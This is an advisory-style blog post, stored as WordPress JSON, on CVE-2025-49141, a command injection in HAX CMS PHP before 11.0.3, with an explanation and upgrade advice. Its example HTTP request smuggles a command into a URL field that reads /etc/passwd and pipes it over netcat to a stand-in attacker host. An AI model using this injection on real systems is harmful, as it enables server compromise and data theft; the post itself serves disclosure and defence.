{"id":53911,"date":"2025-06-21T09:06:54","date_gmt":"2025-06-21T09:06:54","guid":{"rendered":""},"modified":"2025-08-09T05:10:42","modified_gmt":"2025-08-09T11:10:42","slug":"cve-2025-49141-os-command-injection-vulnerability-in-hax-cms-php","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-49141-os-command-injection-vulnerability-in-hax-cms-php\/","title":{"rendered":"<strong>CVE-2025-49141: OS Command Injection Vulnerability in HAX CMS PHP<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>In this blog post, we will delve deep into a recent cybersecurity vulnerability identified in HAX CMS PHP. The vulnerability, CVE-2025-49141, affects versions prior to 11.0.3 of HAX CMS PHP, a popular content management system that allows users to manage their microsite universe with a PHP backend.<br \/>\nThis <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49136-critical-vulnerability-in-listmonk-allows-unauthorized-access-to-sensitive-environment-variables\/\"  data-wpil-monitor-id=\"60377\">vulnerability is particularly concerning due to its potential to allow<\/a> an authenticated attacker to execute arbitrary OS commands on the backend server, leading to potential system compromise or data leakage. As such, it is critical for all users of the affected versions of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32291-critical-file-upload-vulnerability-in-fantasticplugins-sumo-affiliates-pro\/\"  data-wpil-monitor-id=\"60209\">HAX CMS<\/a> PHP to understand the nature of this vulnerability and take appropriate steps to mitigate any potential risks.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-49141<br \/>\nSeverity: High (8.5 CVSS score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5978-critical-vulnerability-in-tenda-fh1202-1-2-0-14-potentially-leading-to-system-compromise\/\"  data-wpil-monitor-id=\"61046\">Potential system<\/a> compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-363486257\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p><a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49137-critical-vulnerability-in-hax-cms-php-prior-to-version-11-0-0\/\"  data-wpil-monitor-id=\"61935\">HAX CMS PHP | Prior<\/a> to 11.0.3<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-28961-critical-deserialization-of-untrusted-data-vulnerability-in-md-yeasin-ul-haider-url-shortener\/\"  data-wpil-monitor-id=\"70565\">vulnerability lies in the `gitImportSite` functionality which obtains a URL<\/a> string from a POST request and insufficiently validates user input. The `set_remote` function later passes this input into `proc_open`, resulting in OS <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-45984-critical-command-injection-vulnerability-detected-in-blink-routers\/\"  data-wpil-monitor-id=\"61344\">command injection<\/a>.<br \/>\nAn <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-31019-authentication-bypass-vulnerability-in-miniorange-password-policy-manager\/\"  data-wpil-monitor-id=\"60298\">authenticated attacker can craft a URL string that bypasses<\/a> the validation checks employed by the `filter_var` and `strpos` functions, thereby executing arbitrary OS commands on the backend server. Moreover, the attacker can exfiltrate command <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48466-remote-manipulation-of-digital-outputs-via-modbus-tcp-packets\/\"  data-wpil-monitor-id=\"64281\">output via<\/a> an HTTP request.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3602524885\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example of how the vulnerability might be exploited:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/gitImportSite HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/json\n{\n&quot;url&quot;: &quot;https:\/\/legitimate-site.com; cat \/etc\/passwd | nc attacker.com 4444&quot;\n}<\/code><\/pre>\n<p>In the above example, the attacker is passing a semicolon (;) after a legitimate URL, followed by an <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54416-arbitrary-command-execution-vulnerability-in-tj-actions-branch-names-github-action\/\"  data-wpil-monitor-id=\"70566\">arbitrary OS command<\/a> (`cat \/etc\/passwd`), which is used to read the password file. The output of this command is then piped (`|`) to `nc`, a networking utility for reading from and writing to network connections, to send the output to the attacker&#8217;s server.<\/p>\n<p><strong>Recommended Mitigation<\/strong><\/p>\n<p>The vulnerability has been patched in version 11.0.3 of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-26005-php-remote-file-inclusion-vulnerability-in-bzotheme-fitrush\/\"  data-wpil-monitor-id=\"60212\">HAX CMS<\/a> PHP. All users are strongly advised to update to this version or later. In the absence of an immediate update, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5485-a-critical-vulnerability-pertaining-to-user-name-enumeration-in-web-management-interfaces\/\"  data-wpil-monitor-id=\"61936\">users can employ a Web<\/a> Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation strategy. However, these are temporary solutions and upgrading to the patched version is the most reliable way to secure <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-38824-critical-directory-traversal-vulnerability-exposing-system-files\/\"  data-wpil-monitor-id=\"61205\">systems against this vulnerability<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview In this blog post, we will delve deep into a recent cybersecurity vulnerability identified in HAX CMS PHP. The vulnerability, CVE-2025-49141, affects versions prior to 11.0.3 of HAX CMS PHP, a popular content management system that allows users to manage their microsite universe with a PHP backend. This vulnerability is particularly concerning due to [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[78],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-53911","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-injection"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/53911","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=53911"}],"version-history":[{"count":10,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/53911\/revisions"}],"predecessor-version":[{"id":63251,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/53911\/revisions\/63251"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=53911"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=53911"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=53911"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=53911"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=53911"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=53911"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=53911"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=53911"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=53911"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}